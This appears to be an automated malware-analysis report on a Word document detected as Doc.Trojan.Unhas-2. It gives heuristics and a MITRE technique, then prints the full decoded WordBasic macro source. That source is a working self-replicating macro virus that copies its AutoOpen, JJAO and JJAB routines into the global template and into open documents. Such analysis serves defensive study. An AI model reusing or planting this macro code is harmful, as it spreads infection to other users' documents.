MALICIOUS
200
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
The file contains legacy WordBasic macros, specifically an AutoOpen macro, which is a known technique for executing malicious code upon document opening. The macros are designed to copy themselves and other embedded macros, indicating an attempt to spread or maintain persistence. The ClamAV detection 'Doc.Trojan.Unhas-2' further supports the malicious nature of the file.
Heuristics 4
-
ClamAV: Doc.Trojan.Unhas-2 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Unhas-2
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 1727 bytes |
SHA-256: 6eb8bb837c0f510269229559517a6b4da7aeef8d0e1cd069152708224143bca1 |
|||
|
Detection
ClamAV:
Doc.Trojan.Unhas-2
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "AutoOpen"
Public Sub MAIN()
Dim sMe$
Dim sTMacro$
sMe$ = WordBasic.[FileName$]()
WordBasic.FileSaveAs Name:=sMe$, Format:=1
sTMacro$ = sMe$ + ":JJAO"
WordBasic.MacroCopy sTMacro$, "Global:AutoOpen"
sTMacro$ = sMe$ + ":JJAO"
WordBasic.MacroCopy sTMacro$, "Global:JJAO"
sTMacro$ = sMe$ + ":JJAB"
WordBasic.MacroCopy sTMacro$, "Global:JJAB"
WordBasic.FileSaveAll 1, 1
WordBasic.MsgBox "Virus MS Word by Mashoer Majid, ELektro Teknik Unhas", -10
End Sub
Attribute VB_Name = "JJAO"
Public Sub MAIN()
Dim sMe$
Dim sTMacro$
sMe$ = WordBasic.[FileName$]()
WordBasic.FileSaveAs Name:=sMe$, Format:=1
sTMacro$ = sMe$ + ":AutoOpen"
WordBasic.MacroCopy "Global:JJAB", sTMacro$
sTMacro$ = sMe$ + ":JJAB"
WordBasic.MacroCopy "Global:JJAB", sTMacro$
sTMacro$ = sMe$ + ":JJAO"
WordBasic.MacroCopy "Global:JJAO", sTMacro$
WordBasic.FileSaveAll 1, 1
WordBasic.MsgBox "Virus MS Word by Mashoer Majid, Elektro Teknik Unhas", -10
End Sub
Attribute VB_Name = "JJAB"
Public Sub MAIN()
Dim sMe$
Dim sTMacro$
sMe$ = WordBasic.[FileName$]()
WordBasic.FileSaveAs Name:=sMe$, Format:=1
sTMacro$ = sMe$ + ":JJAO"
WordBasic.MacroCopy sTMacro$, "Global:AutoOpen"
sTMacro$ = sMe$ + ":JJAO"
WordBasic.MacroCopy sTMacro$, "Global:JJAO"
sTMacro$ = sMe$ + ":JJAB"
WordBasic.MacroCopy sTMacro$, "Global:JJAB"
WordBasic.FileSaveAll 1, 1
WordBasic.MsgBox "Virus MS Word by Mashoer Majid, ELektro Teknik Unhas", -10
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.